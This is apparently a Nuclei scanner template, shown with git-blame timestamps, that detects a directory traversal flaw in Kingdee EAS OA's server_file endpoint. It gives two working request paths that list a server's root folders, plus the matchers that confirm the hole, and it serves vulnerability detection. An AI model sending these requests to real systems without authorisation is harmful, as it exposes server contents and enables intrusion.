2022-04-05 11:50:57 +00:00
|
|
|
id: kingdee-eas-directory-traversal
|
|
|
|
|
|
|
|
info:
|
2022-08-05 13:57:51 +00:00
|
|
|
name: Kingdee EAS - Local File Inclusion
|
2022-04-05 11:50:57 +00:00
|
|
|
author: ritikchaddha
|
2022-08-29 20:21:30 +00:00
|
|
|
severity: high
|
2022-08-05 13:57:51 +00:00
|
|
|
description: Kingdee EAS OA server_file is vulnerable to local file inclusion and can allow attackers to obtain sensitive server information.
|
2022-04-05 11:50:57 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md
|
2022-08-05 13:57:51 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2022-04-06 08:02:42 +00:00
|
|
|
tags: kingdee,lfi,traversal
|
2022-04-05 11:50:57 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/appmonitor/protected/selector/server_file/files?folder=C://&suffix="
|
|
|
|
- "{{BaseURL}}/appmonitor/protected/selector/server_file/files?folder=/&suffix="
|
|
|
|
|
2022-04-06 08:01:21 +00:00
|
|
|
stop-at-first-match: true
|
2022-04-05 11:50:57 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
2022-04-06 08:01:21 +00:00
|
|
|
words:
|
|
|
|
- '{"name":"Windows","path":"C:\\\\Windows","folder":true}'
|
|
|
|
- '{"name":"root","path":"/root","folder":true}'
|
|
|
|
condition: or
|
|
|
|
|
2022-04-05 11:50:57 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
2022-04-06 08:01:21 +00:00
|
|
|
- "application/json"
|
2022-04-05 11:50:57 +00:00
|
|
|
part: header
|
2022-04-06 08:01:21 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-08-05 13:57:51 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/08/03
|